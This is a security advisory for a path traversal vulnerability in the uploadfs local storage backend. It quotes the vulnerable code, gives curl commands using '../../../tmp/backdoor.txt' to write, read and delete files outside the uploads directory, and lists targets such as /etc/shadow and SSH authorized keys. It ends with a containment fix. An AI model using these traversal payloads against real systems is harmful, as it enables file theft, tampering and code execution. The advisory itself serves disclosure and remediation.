GHSA-gmfx-5g6x-rr72: Path Traversal
Summary The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.
---
Details
Root Cause packages/uploadfs/uploadfs.js:652-655
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655
javascript function prefixPath(path) { // Resolve any double // that results from the prefix return (self.prefix + path).replace(/\/\//g, '/'); }
packages/uploadfs/lib/storage/local.js
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108
javascript copyIn: function(localPath, path, options, callback) { const uploadPath = uploadsPath + path; // [VULNERABLE] return copyFile(localPath, uploadPath, callback); }, streamOut: function(path, options) { return fs.createReadStream(uploadsPath + path); // [VULNERABLE] }, remove: function(path, callback) { const uploadPath = uploadsPath + path; // [VULNERABLE] fs.unlink(uploadPath, callback);
- prefixPath() does not normalize paths or reject ../. - The local backend concatenates the path directly into the filesystem call. - Node.js resolves /app/uploads/../../../tmp/pwned.txt → /tmp/pwned.txt.
---
Proof of Concept (PoC)
Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk
Build and run bash docker load < apostrophe-uploadfs-poc.tar docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc python3 exploit.py
Expected output text [UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt [READ] Status: 200| Body: You have been pwned! [+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />
Manual reproduction bash Write outside uploads directory curl -X POST http://localhost:3000/upload \ -F "path=../../../tmp/backdoor.txt" \ -F "file=@-;filename=backdoor.txt" <<< "malicious content"
Read it back curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"
Delete it curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />
---
Impact
| Capability | Risk | |------------|------| | Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorizedkeys, or webroot files → Remote Code Execution | | Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials | | Arbitrary File Delete | Destroy system or application files → Denial of Service |
---
Remediation
Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:
javascript const path = require('path'); function safePath(base, target) { const resolved = path.resolve(base, target); if (!resolved.startsWith(path.resolve(base) + path.sep)) { throw new Error('Path traversal blocked: target is outside the intended directory'); } return resolved; }
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/uploadfsto a version that resolves this vulnerability.Fixed in 1.28.0 - Compensating control
Add path containment validation in `uploadfs` and every storage backend before any filesystem operation: resolve the target with `path.resolve(base, target)`, require it to start with `path.resolve(base) + path.sep`, and throw `Path traversal blocked: target is outside the intended directory` when it does not. Apply this validation to file read, write, and delete operations.